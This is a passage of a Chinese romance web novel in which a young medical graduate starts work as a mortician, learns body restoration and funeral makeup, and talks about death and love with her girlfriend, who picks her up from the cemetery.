池柚:【是的!我第一次试着这么做,外面是翻糖做的皮,你用我给你准备的叉子划开它,里面是草莓酱做的血液,黄蛋糕坯做的脂肪,火龙果做的肌肉。我尝过了,这个搭配吃起来很好吃的,你试试。】 白鹭洲:【……】 白鹭洲:【这就是你的创意菜?】 池柚:【不够创意吗?既融入了我们重逢时的美好记忆,又做成了可以让你吃的甜品,象征我们的相遇甜甜蜜蜜,我觉得我很聪明呢!】 白鹭洲放下手机,手攥成拳撑在桌面上。 良久。 她有生以来,第一次,吃一顿饭动筷前,在心里默念了将近五十遍的“不要浪费粮食”。 第104章 墓园殡仪馆的员工们, 对今天新来的这位小姑娘很感兴趣。 说是员工“们”,其实也就两个人,一男一女, 年龄都不大。男的叫刘农,主管火化车间。女的叫杨乐荷, 殡仪馆的资深老员工了, 也是入殓师, 擅长遗体化妆。 两个人都是殡仪学院专业出来的,平时遇到的同事基本也都是殡仪学校出身,很少见到像池柚这样的医科大研究生。 “你是哪里没想明白啊?985的医科硕士, 跑来这里?” 刘农给池柚办入职的时候忍不住问她。 杨乐荷翻着池柚的身份证复印件,惊讶道: “你才22岁吗?这么年轻,就研究生毕业了?” 刘农和杨乐荷对视一眼,又看向池柚。 “是不是天才的想法都和普通人不一样啊, 顺溜日子过腻了, 走点不寻常路?” 池柚和他们解释自己的喜好,和选择这个行业的原因。 等解释完,入职手续也都办好了。刘农和杨乐荷听池柚说话,越听笑得越开心, 把她当稀有大熊猫似的看, 尤其听池柚一口一个“刘哥”“杨姐”地叫,听得眼皱纹都要笑出来了。 他们本来就是从事殡葬业的人, 对于池柚的特殊喜好, 一点儿也没觉得哪里可怕,只觉得真是什么自行车安什么车座子, 不愧这小姑娘跑来做入殓师。 “刚好,今天有一个单子, 遗体现在已经停在火化车间了,你和我们一起去。” 刘农指着旁边的杨乐荷。 “你正好见识见识你杨姐的高超化妆术。” 池柚不禁问:“都要火化了,还要化妆?” “只是暂时放在火化车间,肯定得修补化妆了,还要让家属见最后完整的一面,还有告别仪式,然后才是火化仪式和送灵仪式。” 杨乐荷和池柚解释。 “而且就算是家属不来,马上就火化,也不影响我们给逝者修补化妆。你现在也是一名入殓师了,你要知道,入殓师的职业生命,就是让每一位逝者都能体面地离开这个世界。” 池柚眼睛里有什么点亮了。 “听起来很有意义呢。” “当然有意义。” 刘农认真地说。 “很多人的死亡都没有想象的那么安详,可能车祸,坠楼,溺水,等等。他们的状况跟你们医学生见过的大体老师可能还不太一样,肢体残缺或者严重腐烂,什么都有可能遇到。我们做的事情,就是尽量还原他们生前最好的样子,给他们在这世上最后的尊严。” 说着,他们来到了火化车间。 刘农拉开门,让杨乐荷和池柚先进去。 “有的时候,我们帮的不止是逝者本人,更是家属。让家属看到他们能体面地走,知道了亲人在生命的最后阶段得到了尊重,这也是一场死别里的最大慰藉。” 刘农带池柚来到工作台边,在杨乐荷取化妆工具时,向池柚介绍面前这具遗体。 “24岁女性,车祸死亡,左眼球丢失,右臂及右腿大骨缺失,大部分内脏在医院抢救的时候就不行了,现在更是腐化严重,让你杨姐给你教怎么处理。” 杨乐荷先问池柚: “你看着这遗体,害怕吗?” “不怕。” 池柚盯着工作台上的遗体,心里泛起的,只有空洞洞的悲哀。 “我就是觉得,这个姐姐才24岁,就这么死了。不知道她的父母……或者,她的爱人……” 杨乐荷戴上手套,笑了笑。 “看来你真的很适合做入殓师。是啊,我们不需要害怕,这就是我们的一位客户,只是这位客户太不小心了,弄丢了身上的一些东西。就像坏掉的小熊玩偶,我们现在,就帮她塞塞棉花、缝缝扣子。” 杨乐荷仔细地教池柚,应该选用什么样的玻璃珠来代替眼球,如何处理腐化的内脏,用什么样的填充物可以更完美地重塑身体。 这里的味道并不好闻,哪怕有浓郁的福尔马林味做遮掩,尸体的腐臭味依然从四面八方捂过来。口罩根本挡不住,那味道像是能从人的毛孔里往进钻一样,人要是在这儿待久了,估计皮肤沾上的味道几天都散不去。 但池柚不会在意这些。 她确实适合做一名入殓师,胆大,善良,骨子里没有一点娇气。 在修补遗体的过程中,池柚不禁想:如果是她支离破碎地躺在这里,她的灵魂也一定希望有一名入殓师能够认真地将她修补成生前最好看的样子。这样的话,家人,朋友,还有白鹭洲,看到了以后,都会觉得更欣慰一些吧。 可能本来要流两升的眼泪,说不定也会减少到一升。 她真正理解了刘农说的那句,入殓师帮助的不仅是逝者,更是活着的人。 怀着这样的想法,什么糟糕的工作环境都不再影响她。 她只想尽全力,给逝者最后一份来自世界微末之处的关怀。 修补阶段对于池柚来说是很容易学的,无非是将她以前干的活儿转变了一些耗材。但大体修补完成后,给遗体的上妆阶段,池柚就有点学不懂了。 其实给遗体化妆,跟给活人化妆的区别不大。一样要用眉笔口红,粉底散粉,要保湿,不卡粉,要美观。 偏偏池柚从来就没自己化过妆。 杨乐荷见漫长的修复工作后,时间已经不早了,便说让池柚先去吃午饭,下午她去找个假人模特,带池柚练习化妆。 池柚清洗干净后,回到前厅,取出自己的盒饭。 正要吃的时候,收到了白鹭洲的微信消息。 白鹭洲拍了张照片问她这是什么。 池柚吃着饭回复说这是甜品,又详细介绍了一番自己的做甜品思路。 白鹭洲半个小时后才又回复,说都吃完了。 白鹭洲:【今天第一天上班,感觉怎么样?】 池柚:【挺好的,我喜欢这份工作。】 白鹭洲:【干得舒心就好,你几点下班?要是下得晚,我回去先做饭。】 池柚:【五点下班,不过这山上离得远,回去估计很晚了,你做吧。】 白鹭洲:【好。】 池柚又吃了两口饭,突然想起什么。 池柚:【你会化妆是不是?我记得你好像都是化淡妆的。】 白鹭洲:【对,日常会化淡妆。】 池柚:【那你也懂怎么保湿,不卡粉吗?】 白鹭洲:【当然。】 池柚:【好好好,有老师在我就放心了。】 白鹭洲:【又叫老师,是有什么事想求我帮忙?】 池柚:【是啊,遇到点问题,还得求老师教教我。】 过了一会儿。 白鹭洲:【高傲.jpg】 池柚看到白鹭洲发的那个高傲猫猫脸表情包,嘴里的饭差点喷出来。 池柚:【你你你你,怎么学会发表情包了?】 白鹭洲:【我是什么上个世纪的老古董吗,发表情包还用学。】 池柚:【噗,就是觉得你发这个好好笑啊。】 白鹭洲:【……好笑吗,以后不发了。】 池柚:【挺好玩的哎,你又可爱了,白鹭洲~】 白鹭洲:【不说了,上课去了。】 池柚放下手机,也抓紧扒完了最后几口饭,收拾好桌子,回火化车间。 三个人在火化车间忙完最后的收尾工作,两个老员工便带着池柚去大厅旁边的工作间。刘农在一旁扎纸棺,杨乐荷按照上午的计划,用假人教池柚化妆。 池柚一会儿看看刘农那边,一会儿再继续手里的化妆工作,两边同步学习。 到了下班时间点,刘农和杨乐荷告诉池柚她可以先回家了,他俩还得加个夜班。不过在上夜班之前,他们打算自己煮火锅吃,问池柚要不要一起,吃完饭再走。 池柚说家里已经做好饭了,礼貌地和哥哥姐姐道别。 走到墓园门口,池柚拿出手机打车。 这一打,就是半个小时。 手机一直显示正在寻找司机,时间大段大段过去,就是没有一个司机接单。 池柚一开始还很有耐心,站着等等,蹲着等等,等到后面看着一点动静都没有的打车界面,她开始怀疑是不是自己的打车方式错了。 于是池柚返回殡仪馆,想问问前辈们。 刘农和杨乐荷正吃火锅吃得香,见池柚回来,疑惑道:“哎,怎么还没走?” 池柚:“我一直打不到车。” “呀,忘了和你说了!”刘农忽然想起来这事儿,“一般情况下你得提前两三个小时叫车,甚至你一大早来上班的时候就要开始叫,咱们这儿可是墓园,一般司机都不愿意接这里的单子的,都嫌晦气。” 杨乐荷:“是啊,我们以前也老是叫不到车,所以现在都自己开了。这个时间点了,天一黑,我估计你更叫不到。要不你就在这儿吃火锅,等我们下晚班捎你回市区。” “那……我和家里人说一声。” 池柚也没有别的办法,只好放下包,给白鹭洲发消息。 正好白鹭洲在问她什么时候回家,她就将现在的状况如实告诉了白鹭洲,说今天回去可能要很晚了,让白鹭洲自己先吃饭。 白鹭洲回了句知道了。 池柚边吃火锅,边用手机搜索驾校的广告。她之前本打算有空的时候慢慢考驾照,但现在看来,买个车代步刻不容缓。 刘农和杨乐荷热忱地给池柚夹菜,见她在看驾校,还给她介绍了一些合适的驾校和教练,又聊了很多考驾照中的小窍门。 刘农甚至给池柚推荐了十几辆他觉得很不错的车,还悄悄告诉池柚,他扎纸棺的时候也会顺便扎一些喜欢的纸车,等吃完饭可以带池柚去看。 火锅本就耐吃,三个人聊起来就吃得更久,汤底续了两次水。 不知道过去了多长时间,可能大概四、五十分钟,也可能是一个小时,刘农打算加第三次水的时候,大厅那边的门忽然被敲响。 咚、咚、咚。 不紧不慢的礼貌三下。 刘农抬眼:“可能是有什么新丧事找上门了。” 池柚忙起身,“我去开门。” 池柚放下筷子,小跑到大厅门边,使劲一拉。 “……白鹭洲?!” 她眼睛睁大了,目瞪口呆。 “可惜不是新丧事找上门。” 漆黑阴冷的夜空下,白鹭洲的长发在晚风中被吹得不断翻涌起伏,长外套与外套里的衬衫也随风鼓动。 她自然地伸出手,用曲起的干净食指指骨擦去池柚嘴边的红油。 “是你夫人来接你回家。” 第105章 白鹭洲往阴森森的墓园里一站, 整个人跟块透白的水玉似的,温润清冽,沁人视线, 仿佛一瞬间将周遭的死气都驱散尽了。 刚刚还满天乌云,她一来, 月亮都从阴云里露了头。 池柚突然觉得, 她不是每天都更爱白鹭洲一点, 而是在每次和白鹭洲有交集的时刻,都重新爱上白鹭洲一次。 一天里,这样的时刻可以有很多次, 每一次,都是如初恋般新鲜浓烈的心动。 怀着这样的心动,池柚对面前的白鹭洲直言道:“好喜欢你啊,白鹭洲。” 白鹭洲正取出纸巾擦自己的手, 闻言, 抬眼看向池柚,轻掠的惊讶划过眼底后,又漫上笑意,“是因为来接你回家吗?” 池柚:“可能是。” 白鹭洲的笑意从眼里涌出, 流淌到嘴角, “那以后,天天来接你回家。” 白鹭洲这句话说完后, 池柚感觉到, 自己又爱上了她一次。 刘农的声音从里面远远传来:“小柚子!怎么没动静了?” 池柚强制自己的目光从白鹭洲身上收回来,清清嗓子高声回道:“刘哥, 是我家里人来接我了!” 池柚问白鹭洲:“要进去和他们打个招呼吗?” 不是很爱和陌生人交流的白鹭洲想到那是池柚的同事,点了点头。 池柚带着白鹭洲走到里面, 和正在吃火锅的刘农和杨乐荷介绍:“刘哥,杨姐,这是我的女朋友。” 说完,池柚想起之前白鹭洲和她说过的话,又马上和白鹭洲耳语:“你放心,他们人很好,知道这件事也不会害我的。” 白鹭洲小声回了句没事,转头伸出手去,简洁明了地和两位同事介绍自己: “白鹭洲,师大老师。” 刘农和杨乐荷惊讶地对视一眼,刘农看向池柚:“你对象是个女——” 杨乐荷马上打断刘农:“关你啥事,赶紧跟人握手!” 刘农:“哦哦对!” 两个人忙站起来,分别和白鹭洲客气地握了手。 杨乐荷还热忱地问白鹭洲:“白老师,吃晚饭了吗?一起坐下来吃点火锅啊。” 白鹭洲犹豫了一下,选择说实话:“没吃。” 池柚拉了拉白鹭洲的袖子,皱着眉问她: “我不是说让你自己先做饭吗,你没有吃饭?” “做了,想等你回来一起吃的,但你说你暂时回不来,我就先过来接你……” 白鹭洲抬起手里拎着的袋子,池柚这会儿才注意到袋子里是几个密封好的透明饭盒。 “回去路远,怕你路上饿,就打包带过来了。” 杨乐荷感慨:“小柚子,你女朋友好贴心啊!” 刘农附和:“是啊是啊。” 池柚红了红脸,但抑不住心里的小得意,扬起下巴。 “对呀。” 白鹭洲看着这一刻的池柚,也忍不住很浅地笑了一下。 “那你没吃饭,要不坐下来先吃点?”池柚问白鹭洲,“这是鸳鸯锅,你可以吃清汤那边煮出来的菜,不影响你养生。” 白鹭洲看了眼刘农和杨乐荷,和陌生人一起吃饭吗…… 池柚:“刚好我可以和你讲讲我们今天有意思的事。” 白鹭洲:“嗯……好。” 刘农和杨乐荷给白鹭洲端了小板凳过来,又给她拿了碗筷。 白鹭洲捋着长外套,小心地在池柚旁边坐下。 她在油星点子乱溅的火锅边穿着不合时宜的一身白,长手长脚的一个人蜷在摆着火锅的小桌板旁边,端起碗筷并着膝盖。池柚看着,怎么看怎么觉得好玩儿。 “没想到小柚子看着单单纯纯不开窍的,都已经谈上对象了,还是这么漂亮的对象。” 刘农羡慕地看着对面俩人。 “我母单快三十年了,工作这么些年阴德也积不老少了,老天爷什么时候给我发个对象啊?” 池柚夹起两片青菜放到白鹭洲的碗里,说:“我能谈到对象,也很不容易的。” 刘农来了兴趣:“你追的她吗?” 池柚:“对。” 杨乐荷:“也是,你对象一看就很优秀的样子,我猜八成也是被追的那个。” 池柚思索了片刻,认真地说:“我也很优秀啊。” 池柚向来不为虚荣而自夸,她说自己聪明或者优秀,都是她用理智将自己放在大众之中做充分的评估后得出的结论。 白鹭洲笑了笑。 “对,你也很优秀。” 池柚和白鹭洲对视片刻,从白鹭洲的眼睛里看到,白鹭洲是真的这么觉得的,不只是单纯地哄她。 于是她也笑了,点点头,重复一遍: “我也很优秀。” “那是当然,小柚子又漂亮又聪明,学东西相当快呢!” 杨乐荷不住地夸赞。 “缝合修补的技术一教就会,都不用教第二遍,不像我以前带的那些新人,一个技术点得消化好几天。手下功夫也好,不愧是医科大高材生,缝合手法比我这个老员工都利索,以后绝对是行业顶尖人才。白小姐,你选择她做你小女朋友,那绝对不亏面儿啊。” 白鹭洲吃着碗里的青菜,唇边笑意一直未退。 “是啊,她真的很厉害。” 池柚本来有一点担心,自己冒昧地留下白鹭洲吃饭,白鹭洲会因为和刘农杨乐荷同桌而不自在,不过现在看白鹭洲的状态,她似乎没有特别明显的不适。 而且虽然话依然不多,却愿意时不时搭一两句,终于不再是饭桌上的哑巴了。 池柚和白鹭洲聊起今天从入职到工作的所有细节,包括刘农和杨乐荷告诉她的有关入殓师的职业信仰,火化车间那个24岁的年轻姑娘,以及她在为那位姑娘修补时的想法。 “如果我那样死去,我也希望,你见我的最后一面是漂漂亮亮的。” 池柚又夹了一片莲藕给白鹭洲,率直地说。 “白鹭洲,我要是被修复得很好看,你会不会少哭一点啊?” 池柚这么问,只是想印证自己的猜测。 可是她问完之后,白鹭洲许久都没有说话,也没有吃碗里的菜。 “白鹭洲?” 池柚转头看向沉默得有点异常的白鹭洲。 白鹭洲放下碗筷,眉间隐隐动了一下,显然压下去了什么情绪。 她没有回答池柚的问题,只尽量平常地问一句: “吃好了吗?吃好了,我们就先回去吧。” 池柚早就吃饱了,看白鹭洲也吃得差不多了,便点点头,起身和同事们告辞。 刘农和杨乐荷送她们到大厅门口,走时寒暄几句,又嘱咐了池柚明天上班的一些细节,叫她还是得记得自己带饭,这边外卖和打车一样难叫。 道过谢后,池柚便跟着白鹭洲,两个人一起向墓园外的车子走去。 走了一会儿,白鹭洲一直没再讲话,池柚和她说话,她也是心不在焉地“嗯”两声。 池柚快走两步,走到白鹭洲身边,拉住她的袖子摇了摇。 “怎么啦,刚刚还能和他们有说有笑的,突然就这样了?” “……” 白鹭洲静默半晌,眨了眨眼,看向周围林立的墓碑。 “你死了以后,也要埋在这里吗?” 池柚愣了愣,“你……还在想我刚刚问的那个问题?” 白鹭洲:“嗯。” 池柚:“那只是一个假设而已,我不是想和你讨论我死不死的问题,我就是想知道,我的工作是不是可以给家属带来一点慰藉,能不能让被留下来的人少伤心一点,哪怕就是一点点,也说明我的工作……” 白鹭洲:“但我会想。” 白鹭洲停下了脚步,池柚也跟着停下来,两个人都用目光触碰着对方。 “你说那个女孩左眼球丢失,右臂和右腿大骨遗缺,大部分内脏腐化严重。然后你又问我,如果你和她一样死去,我会怎么想。” 白鹭洲的声音里已经出现了一点抑制不住的颤抖。 “池柚,我不知道别人怎么想,对于我来说,不管入殓师能不能把你缝补好,缝成什么样,我感受到的痛苦,都不会有任何变化。” 池柚看着面前严肃到陌生的白鹭洲,想努力开个玩笑缓和一下气氛: “你这么说,我都感觉我的工作没有什么意义了呢。” 白鹭洲的态度却没有松散开,一字一句道: “在我这里,确实没有意义。你死了就是死了,离开我了就是离开我了。” 池柚咽了咽喉咙,敛起唇角勉强撑起的笑,低着头。 她也不免开始认真地思考这个问题,问道: “那你……会哭多少升的眼泪呢?” 白鹭洲轻声回道: “我会恨你。” 听到这四个字,池柚猛然抬眼,不可置信地看向白鹭洲。 白鹭洲向来不会直白地表露感情,她每次从心里艰难地掏点真话出来,都得靠放肆的狂欢派对、热烈的酒吧、浓烈的酒精来铺陈氛围,说出来的字眼也委婉迂回,恨不得拐十万个弯。 她们走到现在,白鹭洲甚至连最简单的“我喜欢你”这四个字,都只在陵江夜晚的酒吧里借着醉意吐露过可怜的一次。 可是现在,没有酒精,没有铺陈,她也没有一点点的委婉迂回,就这么告诉池柚: 我会恨你。 池柚凝视着白鹭洲的双眼,“你不会的,意外死亡不是故意的,你那么理智,那么看得清,你一定会体谅我,你在骗我。” “不。”白鹭洲出乎意料地否定了池柚的话,眼底的光不容置疑,“我不会体谅。” 池柚从白鹭洲的眼睛里看出,白鹭洲真的没有骗她。 白鹭洲的眼睛在告诉她: 你答应过我,永远不会离开我的。 只要离开,不论是以何种方式离开,都是毁诺。 失约,毁诺。我从来都没有教导过你,人生在世,可以这样不负责。 “那……那你准备恨我多久?十年?二十年?五十年?不能太长吧,要是真一不小心倒霉意外死掉了……我也不是故意死的,死都够惨了,还要被你……” “不会太长的,就恨一天吧。” 白鹭洲说。 池柚:“一天?” “嗯,一天时间给你收尸。” 白鹭洲的嘴角动了动,竟然在此刻向上弯去。 “然后,我这辈子可能也就活到这一天结束了。” 第106章 谈论生死的话题, 在恋爱关系中并不少见。不论是不是以玩笑开头,说到最后,总会归于认真。 这种话题的本质是, 探索将爱情融入生死观后,大脑所产生的思维变化。 一个人活着的生死观, 和两个人活着的生死观, 注定是不一样的。 池柚不知道白鹭洲原本的生死观如何, 但现在起码知道,她余生的生死观,都已经和自己的生命缠在了一起。 回去的路上, 她一边因为白鹭洲的这些话感动,一边又忍不住向白鹭洲确认:“我们的感情,真的已经深到了这个地步吗?” “没有。”白鹭洲如实回答,“我们才在一起没多久, 尽管已经接过吻, 发生过关系,但这个进程在我的预想里都是算快的。在普世的爱情进度里,我们的感情绝对不算发展得多深远,只是刚开始。” 池柚:“那为什么……” “就像你说的, 一道数学证明题, 就算还需要写很多步骤去拿分,但证明结果我们已经知道了。” 白鹭洲握着方向盘, 神情已经较墓园时放松许多, 不再那么严肃。 “步骤我们可以慢慢写,答案是不会变的, 因为它就在题干里。我们确定要在一起的时候,你对我的重要性, 就已经写在题干里了。” 池柚懂了。 “我明白了,老师。”池柚说。 白鹭洲对于池柚时不时蹦出来的一声“老师”已经习以为常,知道这称呼出现,要么是有求于她,要么是肃然起敬了。 “所以你要好好活着,”白鹭洲用开车的余光看了眼池柚,“你很重要的。” 池柚挂起一个乖乖的笑:“那当然,我身上挂了两条人命呢。” “我说这些,不是想故意把气氛弄得这么凝重,也不是想威胁你什么。” 白鹭洲看向前面的路,缓缓说道。 “因为你和别人不一样,你对生命有你的一套看法。我很怕看惯了生死的人会失去对生命的敬畏之心,尤其你做入殓师之后,以后只会对生死越看越开。我只是不想你忘了,不论在你眼里‘死’这件事会变得多习以为常,但你自己的这条命真的很重要,特别是对我,我连你假设一下,也会觉得……” “我知道了,对不起,我以后不会乱假设了。” 池柚马上诚恳地道歉。 “……可能是我反应过度了。” 白鹭洲在红绿灯前停下,转过头,用已经温和下来的眼神望向池柚。 “刚刚在墓园,是不是吓到你了?” 池柚举起手,用食指和大拇指掐出大约五毫米的长度。 “一点点。” 白鹭洲便也和池柚道歉: “对不起啊。” “没事啦,我不生气。但是,你能不能补偿我一下?”池柚问。 白鹭洲:“你想要什么,我都买给你。” “我不要你买给我什么,”池柚撑起身子,目光炯炯地看着白鹭洲,“你刚刚说,你会恨我,我就突然想到,你都没有和我说过一句‘我爱你’,就先说了‘我恨你’,我好亏喔。你能不能和我说一句,‘我爱你’?” “……” 白鹭洲回过头去,启动车子。 她的耳朵尖蔓上一抹很浅很浅的粉。 “不说。” 池柚皱眉:“为什么不说?” 白鹭洲:“我以前说过的话,其实大概表达过这个意思。” 池柚:“那我也想听一句简简单单的‘我爱你’嘛。” 白鹭洲:“就是不想说。” 池柚:“所以你可以说恨我,但是不愿意说爱我。” 白鹭洲:“我觉得是一个意思。” 池柚:“这怎么能是一个意思?我语文那么差也知道这是反义词!” 白鹭洲:“是一个意思。” 池柚:“不是。” 白鹭洲:“是。” 池柚:“不是。” 白鹭洲:“是。” 她们这争执内容,好小学生。 池柚无奈地靠回座椅里,抱起胳膊,说: “白鹭洲,你好幼稚。” 白鹭洲没说话,装没听见。 两个人回家以后,又打开白鹭洲做的饭菜吃了一点,随后收拾干净,洗漱完毕,准备睡觉。 白鹭洲从浴室里擦着头发走出来时,却看见池柚抱着被子正往外走。 “干什么去?”白鹭洲叫住池柚。 池柚说:“我生气了,我要和你分居。” 白鹭洲不禁轻笑,“你头发都没干呢,客房没有吹风机。” 池柚:“我不管,我就湿着头发睡觉,我就要明早起来头疼。” 白鹭洲走到池柚面前,从她抱着的堆堆叠叠的被子上方觑她,“又耍小性子?” 池柚仰起头,也努力从被子上方看白鹭洲,“那你不哄我啊?” 白鹭洲想了想,问:“你不是说要我教你化妆么,还学吗?” 池柚是想听白鹭洲说爱她的,不过听到白鹭洲提起化妆的事,她也猛然想起还有这个要学。短暂思索过后,觉得这样和解也好。 “好啊,你教我。”池柚乖巧回道。 白鹭洲:“那还生气吗?” 池柚:“不生气了。” 白鹭洲又笑了笑,从池柚手里将被子接过去,帮她抱回床上。 池柚闹脾气一直都是这样,不会憋心里等白鹭洲去猜,不开心就说不开心,但又很好哄,基本只要表一个哄她的态度,或者说点别的话题吸引开她的注意力* ,她就不生气了。 所以白鹭洲不仅不讨厌池柚这样,还会在每次池柚闹脾气的时候起兴致,笑都要比平时温柔许多。 她喜欢看池柚耍小性子,她觉得很可爱。 可爱到,她去抽屉里拿化妆用品时,目光忍不住在角落里的一盒指套上多流连了两秒。 这是她今天下班回来的路上买的。 昨晚第一次,没有做什么准备。她后来在网上看,有人说是要用这个的,于是她今天就去买了回来。 只是不知道,会有什么不一样。 池柚站在白鹭洲身后,忽然开口:“你去洗一洗。” 白鹭洲被这句话敏感地撞到刚刚那点隐秘的心思,一时没反应过来,“嗯?” 池柚:“洗洗脸,我在你脸上练习。” “……哦。”白鹭洲回过神,敛去误会引起的一点心乱,转身去卫生间。 她把池柚也叫过去,打开柜子,教池柚认识那些瓶瓶罐罐。 池柚一看见柜子里那数量巨大的护肤品就惊住了,里三层外三层,摆得满满当当。她之前没打开过这柜子,都不知道白鹭洲居然藏了这么多护肤品,比她实验室的标本罐子都多。 保湿水,面膜液,身体乳,精油,就连提拉紧致的精华液,都分了脸部、手部、足部。甚至细小如指甲盖,都有专门的指甲保养油。 池柚不禁开始认真地打量起白鹭洲本人的全身上下。 原来这件在她眼中举世无双的“艺术品”,除了老天爷的先天精心雕刻外,后天也得靠这么复杂繁琐的精心养护,才能造就眼前这完美无缺的样子。 总算是叫她找到比在隐形眼镜前面架个框架更令她惊叹的精致活法了。 “我用不了这么多。” 池柚阻止白鹭洲想多拿些瓶瓶罐罐出来的动作。 “就保湿,不卡粉就行。” 白鹭洲指着手中的精华,“但是你之后要用的话,加上这个更……” “不是我用啊,”池柚说,“我给死人用。” …… 空气安静了半分钟。 “所以在我脸上化妆,也是为了之后给……死人化妆?” “我想过买假人模特练的,可是今天用假人练习,发现那个胶皮质感太假了,一点都起不到作用。我用自己练效果也不太好,给自己脸上化和给别人化是两个感觉,所以……” 池柚抱住白鹭洲的胳膊,软下声音。 “求求你了,你最好了,我也不敢在别人脸上练习啊,你是我的女朋友对不对?女朋友帮帮我好不好,好不好好不好么……” “好,好好。” 白鹭洲扶住池柚,不叫她继续晃自己。 “但我也有件事,想要你答应我。” 池柚毫不犹豫: “你说!” 白鹭洲凑近她,在她耳边悄声说:“我今天买了……晚上的时候……” 池柚听完,脸刷一下通红,低头下意识抠手指。 白鹭洲:“行不行?” 池柚别过头看地,声音变小了许多,“行、行啊。” 白鹭洲便牵着池柚走出卫生间,到化妆桌边坐下,叫池柚坐她旁边。 “好了,等会儿再去想晚上的事,现在你先认真听我教你。” 白鹭洲正经起来时是真的正经,仿佛刚刚说了虎狼之词的人压根不是她一样。 “先用这个打底,你伸手,我挤给你,你给我脸上抹。看好量,别弄少了。” 池柚飞快地揉了两把滚烫的脸颊,强迫自己把注意力放在学习正事上。 白鹭洲教得很详细,也和池柚聊杨乐荷白天教的内容,将跟活人与跟死人上妆的过程相结合,总结出最好的方法告诉池柚。 池柚在她脸上生疏地捣鼓,她始终安静地坐着,闭着双眼,从未露出什么避讳或者不满的表情。 “粉底液不用这么多。” “可是老师,少了不上色。” “你画眉毛轻一点。” “轻一点不上色啊老师。” “少量多次。” “好的老师。” “散粉可以再扑得均匀一点。” “在努力上色了。” “口红不要挑这么粉的颜色,显黑。” “人都死了还黑什么……那我换一根红的。” “你轻一点涂。” “涂轻了不上色啊老师。” 半个小时过去,池柚坎坎坷坷地化完了她人生中第一个全妆,满意地欣赏了一会儿,拿起小镜子递给白鹭洲。 “老师你看看。” 白鹭洲看了眼镜子,终于知道为什么池柚一直在强调“上色”这两个字了。 “挺好。” 白鹭洲望着镜子里自己那张惨白的脸和鲜红得吓人的嘴唇,平静地给了一个赞许。 “我现在应该可以直接入棺去火化了。” 第107章 深夜。 刚刚结束床上的新奇试探, 池柚喘着气趴在枕头上,眼皮都快抬不起来了。 白鹭洲从卧室外进来,端了一杯温水, 走到池柚那侧的床边坐下,扶起她给她喂水喝。 池柚整个人又轻又软, 嫩生生的, 像冬天的第一捧新雪。掌心合十, 稍稍使一下力,这团雪就会被捏成一只圆滚滚的兔子。 白鹭洲抱着池柚的时候,就是这种感觉。 她像是捧着这只雪兔子坐在门口的台阶上, 风霜再大,也不愿进温暖的小屋。 她小心翼翼地凝视着掌中的兔子,想再多握兔子一会儿,也再多看兔子一会儿。 池柚累得有点意识模糊了, 靠在白鹭洲的怀里, 喝完水,嘴里嘟嘟囔囔地说着颠三倒四的话。 “次数太多了,太多了……” “今天又没力气像你对我一样对你了,等下次……” “你好漂亮啊白鹭洲, 长得真好看, 为什么会有人类长得这么好看……” “刚刚在过程中,你已经说了很多次我很漂亮了。” 白鹭洲放好水杯, 用双臂将池柚更紧地揽进怀里, 轻轻地问她。 “真的这么漂亮吗?” “嗯。我觉得,拿你练化妆根本练不出来。” 池柚在白鹭洲怀里抬起头, 迷迷糊糊的眼神落在白鹭洲的脸上。 “你的脸,就是在墙上搓一把白灰抹上去都好看, 我今天都快给你化成纸扎人了,还是那么好看。要是纸人长你这样,我都感觉我可以接受冥婚了……” “困了就睡觉吧,说的什么乱七八糟的。” 白鹭洲将池柚放平到床上,给她盖好被子。 池柚翻了个身,在被子里找了个舒服的姿势,闭上眼睛。 临睡前,她还咕哝了一句: “等下次……我一定要把你像地牢那次一样捆起来……然后这样这样……那样那样……” 白鹭洲在自己那侧躺下,听到池柚说的这话,忍不住轻笑一声。 她面向池柚躺着,伸出手,轻柔地拂去池柚脸上的碎发。 “好,等你。” 等你,再学得久一点,好一点. 第二天,白鹭洲罕见地醒在了池柚前面。 其实白鹭洲起得一直不算晚,只是池柚总是醒得更早。不过昨晚池柚确实是累到了,所以今天轮到白鹭洲早起做饭。 挺好用的,那东西。 昨天买的那一盒里还放了不同的种类,她和池柚一起都挨个儿研究了个遍,找到了她们都很喜欢的那一种。 白鹭洲在煎鸡蛋的时候,心想,她回头得再去多买几盒回来。 做好早餐端上桌后,白鹭洲正想回厨房打包给池柚的午饭便当,却听见了卧室那边传来隐约的电话铃声。 她走回卧室,见床头柜上池柚的手机正响个不停,而池柚的脑袋还蒙在被子里,不愿出来。 “你的电话……” 她拿起手机,看见屏幕上的来电显示,僵了一瞬。 白鹭洲抿了抿唇角,收敛好情绪,弯腰,隔着被子轻拍池柚的肩。 “……你妈妈的电话,起来接一下。” 池柚困顿地探出半个脑袋,“谁?” 白鹭洲:“你妈妈。” 池柚在一秒内立即清醒了,迅速坐起来,接过手机。 “喂,妈妈。” 池柚的嗓音明显有点紧张,她在喊完妈妈后,蓦地发现自己的睡衣还开敞着,明知道电话只能传递声音,还是连忙用单手扣起扣子来。 她仿佛生怕有一点点信息透露到电话那端,叫池秋婉察觉到,她昨晚做了很不乖的事情。 白鹭洲看池柚扣得迟钝,便在床边坐下来,示意池柚专心打电话。 她抬起双手,仔细地帮池柚扣起扣子。 可池柚看着白鹭洲就近在咫尺,还在摆弄她的睡衣领口,这让她对着电话更觉羞耻。 池秋婉的声音从听筒清晰传出,离得很近的白鹭洲都可以听到。 “小柚子,我今天出差回来了,刚到家,你怎么不在家呢?旺财也不见了。” 池柚:“旺财送去寄养了,我……我是不在家。” 池秋婉:“你怎么开始说废话了,我问的是你为什么不在家?” 池柚:“就是,可能,不太想在家。” 池秋婉:“怎么吞吞吐吐的,你去哪里了?” 池柚:“我……” 白鹭洲微挑嘴角,右手忽然绕过池柚的领口,探到她胳肢窝里轻轻地挠了两下。 池柚马上捂住嘴才没有不受控制地笑出来。 她攥住话筒,瞪圆了眼睛看白鹭洲。 白鹭洲用手机收录不到的气音轻喃: “说,你来和白老师睡觉了。” 池柚:“你……” 池秋婉:“怎么不说话了,到底跑哪儿去了你?” 池柚推开白鹭洲的手,“妈妈,我今晚回去当面和您说好吗?” 池秋婉:“为什么要晚上才回来,你现在不能回来吗?” 池柚:“我要去上班啊。” “上班?!”池秋婉惊了,“你上的哪门子班?” 池柚:“我、我晚上回去和您说。” 话落,池柚不等池秋婉反应,马上挂断了电话。 “你好坏啊!” 池柚皱着眉对白鹭洲发火。 白鹭洲摸了摸池柚睡得毛绒绒的头顶,拉着她起床,“起来,洗漱,先吃饭。” 池柚的火一如既往下去得很快,“你做好饭啦,做的什么?” 